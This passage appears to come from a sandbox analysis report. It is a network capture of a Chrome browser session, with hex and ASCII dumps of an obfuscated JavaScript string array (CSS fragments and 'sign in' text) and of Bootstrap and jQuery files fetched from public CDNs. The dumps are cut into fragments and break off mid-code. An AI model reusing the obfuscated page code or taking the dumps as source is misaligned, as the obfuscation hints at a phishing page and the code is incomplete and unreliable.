2024-12-19 14:13:33 UTC	8184	IN	Data Raw: 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 27 2c 27 6e 67 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 76 65 27 2c 27 2e 61 72 72 6f 77 2c 5c 78 32 30 2e 62 27 2c 27 70 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 27 2c 27 69 6f 6e 3a 5c 78 32 30 74 72 61 6e 73 27 2c 27 75 6e 64 2d 63 6f 6c 6f 72 3a Data Ascii: x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20','ng:\x200;\x20ove','.arrow,\x20.b','p:\x201.5rem\x20','ion:\x20trans','und-color:
2024-12-19 14:13:33 UTC	8184	IN	Data Raw: 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 74 6e 3a 66 6f 63 75 73 2c 27 2c 27 65 66 74 3a 5c 78 32 30 37 35 25 5c 78 32 30 7d 27 2c 27 3d 5c 78 32 32 76 69 65 77 70 6f 72 74 27 2c 27 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 72 27 2c 27 6e 2d 73 65 6c 66 3a 5c 78 32 30 61 75 27 2c Data Ascii: input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','btn:focus,','eft:\x2075%\x20}','=\x22viewport','\x20sign\x20in\x20r','n-self:\x20au',

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	104.18.10.207	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:33 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:33 UTC	967	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:13:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 11/06/2024 23:22:44 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 4b27a6159bc37045f1b4a0164e815dfb CDN-Cache: HIT CF-Cache-Status: HIT Age: 1477185 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f47fe738afd8cdd-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 14:13:33 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49721	151.101.2.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:33 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:33 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 177515 Date: Thu, 19 Dec 2024 14:13:33 GMT X-Served-By: cache-lga21984-LGA, cache-nyc-kteb1890070-NYC X-Cache: HIT, HIT X-Cache-Hits: 903, 0 X-Timer: S1734617613.378851,VS0,VE1 Vary: Accept-Encoding
2024-12-19 14:13:33 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-12-19 14:13:33 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-12-19 14:13:33 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-12-19 14:13:33 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-12-19 14:13:33 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
